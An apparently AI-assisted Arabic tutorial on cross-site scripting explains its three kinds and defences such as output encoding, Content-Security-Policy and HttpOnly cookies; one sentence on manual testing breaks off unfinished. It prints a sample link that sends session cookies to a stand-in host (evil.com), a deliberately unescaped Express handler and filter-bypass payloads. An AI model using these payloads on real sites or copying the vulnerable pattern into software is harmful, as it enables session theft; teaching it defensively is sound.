Cross-Site Scripting: لماذا XSS لا يزال يشكّل تهديداً في 2024
شرح عملي لـ reflected و stored و DOM-based XSS، وكيف يستغلها المهاجمون، وكيفية إيقافها فعلياً.
XSS موجود في OWASP Top 10 لمدة عقدين وهو لا يزال أول شيء يتحقق منه أي pentester. الثغرة بسيطة الشرح وصعبة الإغلاق تماماً: المهاجم يحصل على كود JavaScript ينفذ في متصفح الضحية تحت أصل موقعك. عند حدوث ذلك، يمكنه قراءة cookies، تزييف الطلبات، أو إعادة كتابة الصفحة أمام المستخدم.
الأنواع الثلاثة
Reflected XSS هو هجوم الرابط المزيف الكلاسيكي. صفحة بحث تأخذ ?q= من الرابط وتطبعه مباشرة في الـ HTML بدون ترميز. أرسل لشخص ما رابط مثل https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> وإذا نقروا عليه وهم مسجلون الدخول، فإن cookie الجلسة ينتقل إلى المهاجم.
Stored XSS أسوأ لأنه لا يحتاج رابط على الإطلاق. حقل تعليق، سيرة ذاتية في الملف الشخصي، وصف تذكرة دعم — أي مكان يتم فيه حفظ إدخال المستخدم وعرضه لاحقاً لمستخدمين آخرين. انشر payload مرة واحدة وكل زائر يشاهد تلك الصفحة يتعرض للهجوم، بدون الحاجة لهندسة اجتماعية.
DOM-based XSS يعيش بالكامل في الكود من جهة العميل. الخادم لا يرى payload خبيث أبداً؛ إنه JavaScript يقرأ شيء مثل location.hash أو document.referrer ويدفعه إلى innerHTML أو eval(). هذا يربك الناس لأن السجلات من جهة الخادم تبدو نظيفة تماماً.
من أين يأتي فعلياً
معظم ثغرات XSS تنحصر في خطأ واحد: التعامل مع البيانات غير الموثوقة كأنها markup أو كود موثوق. sinks شائعة يجب الانتباه لها في JavaScript: innerHTML، outerHTML، document.write، eval، setTimeout مع وسيط string، و jQuery's .html(). من جهة الخادم، محركات template التي لا تقوم بـ auto-escape افتراضياً (دمج string مباشر في HTML) هي المذنب المعتاد.
مثال سريع من العالم الحقيقي: تطبيق Node/Express يفعل
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
فيه reflected XSS فوري. req.query.name يذهب مباشرة إلى الاستجابة بدون ترميز. أي شخص يزور /greet?name=<img src=x onerror=alert(document.domain)> يثبت ذلك في ثانيتين تقريباً.
إصلاحها بشكل حقيقي
ترميز الإخراج الذي يراعي السياق هو الإصلاح الفعلي، وليس حلاً بديلاً. HTML body و HTML attribute و JavaScript string و URL contexts كل واحد يحتاج قواعد ترميز مختلفة — مكتبة مثل OWASP's Java Encoder، أو auto-escaping مدمج في محركات template مثل Jinja2 أو React JSX أو Handlebars، تتعامل مع هذا بشكل صحيح. React خاصة يقوم بـ escape لمحتوى النصوص بشكل افتراضي، وهذا لماذا dangerouslySetInnerHTML مسماها بهذه الطريقة: إنها علامة تحذير.
تحقق الإدخال يساعد لكنه غير كافٍ بمفرده. إدراج <script> tags في قائمة الحظر يتم تجاوزه باستمرار — <img src=x onerror=...>، <svg onload=...>، أو event handlers على أي tag تقريباً كل ذلك يعمل. allowlisting الصيغ المتوقعة (regex بريد إلكتروني، ID رقمي) حسن كطبقة ثانوية، لكنه لا يحل محل ترميز الإخراج الصحيح.
Content-Security-Policy هي أقوى طبقة defense-in-depth متاحة. سياسة مثل
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
تحظر inline scripts و third-party script sources إلا إذا كانت نونس'd أو في allowlist صريح، وهذا يوقف معظم payloads XSS من التنفيذ حتى لو مرّت الترميز. تجنب unsafe-inline و unsafe-eval في CSPs الإنتاج؛ إنهما يهزمان معظم الحماية.
اضبط cookies مع HttpOnly و Secure flags حتى لا يتمكن حتى XSS الناجح من قراءة session cookie مباشرة عبر document.cookie. هذا لا يوقف الحقن لكنه يحد من نطاق الضرر بشكل كبير.
اختباره بنفسك
Burp Suite's active scanner يكتشف الكثير من reflected و stored XSS تلقائياً، لكن الاختبار اليدوي لا يزال مهم لحالات DOM-based. أدوات مثل DOMPurify's own test suite أو ببساطة البحث في codebase عن innerHTML = و eval( ستظهر عدد مفاجئ من النتائج بسرعة. للفحص اليدوي، فإن payload
تمت كتابة هذا المقال بمساعدة الذكاء الاصطناعي، وراجعه ونشره Michal Pilch (CISSP)، Korra Studio.
هذه ملاحظة واحدة من قاعدة معارف Korra Studio — المنصة تجمع كل موضوع مع التوجيه الفردي.
ابدأ بالمجانarrow_forward